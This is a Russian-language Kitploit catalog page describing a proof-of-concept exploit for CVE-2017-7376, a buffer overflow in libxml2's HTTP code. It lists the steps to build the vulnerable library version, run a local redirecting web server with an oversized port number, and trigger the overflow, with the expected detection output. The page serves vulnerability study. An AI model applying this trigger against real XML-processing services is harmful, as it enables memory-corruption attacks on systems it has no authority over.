Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
libxml2-exploit — Пример эксплойта для CVE-2017-7376 | Kitploit
Инструменты/GitHubGitHub/brahmstaedt/libxml2-exploit
Анализ уязвимостейЭксплуатацияВеб-безопасностьФаззингЭксплуатация Бинарных Файлов
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Пример эксплойта для CVE-2017-7376

Репозиторий
33516 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

libxml2-exploit

Пример эксплойта для CVE-2017-7376

Установка

Скачайте этот репозиторий и уязвимую версию libxml2, например v2.7.7:

git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Настройка

cd libxml2

подготовка libxml2

Чтобы сделать успешность эксплойта более заметной, добавьте код для обнаружения переполнения буфера в libxml2. Не требуется, если у вас есть другие способы наблюдения, например, падение приложения.

git apply ../nanohttp.patch

сборка libxml2

./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

В случае появления следующей ошибки:

aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Замените в configure.in AM_C_PROTOTYPES на dnl AM_C_PROTOTYPES, например так:

sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Вернитесь назад

cd ..

подготовка веб-сервера

Этот эксплойт требует веб-сервер, отвечающий перенаправлением на новый URL с номером порта длиной более 5 цифр и меньше int32max (2147483648 = 2^32/2).

Запустите сервер (требуется node JS и свободный порт 127.0.0.1:8080):

node http.js &

Проверьте веб-сервер; должно появиться сообщение об ошибке из-за недопустимого номера порта 2147426192:

wget localhost:8080

Компиляция

make

Запуск

./run.sh

Ожидаемый вывод:

Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

Планы

Этот демонстрационный эксплойт требует, чтобы основная программа выполняла xmlXIncludeProcess() для достижения ошибочного кода в libxml2, что вряд ли используется во многих реальных реализациях. Однако в комментарии nanohttp.c упоминается, что это минималистичная реализация HTTP GET для получения внешних подмножеств, что может предложить другой путь эксплуатации.

Скачать инструмент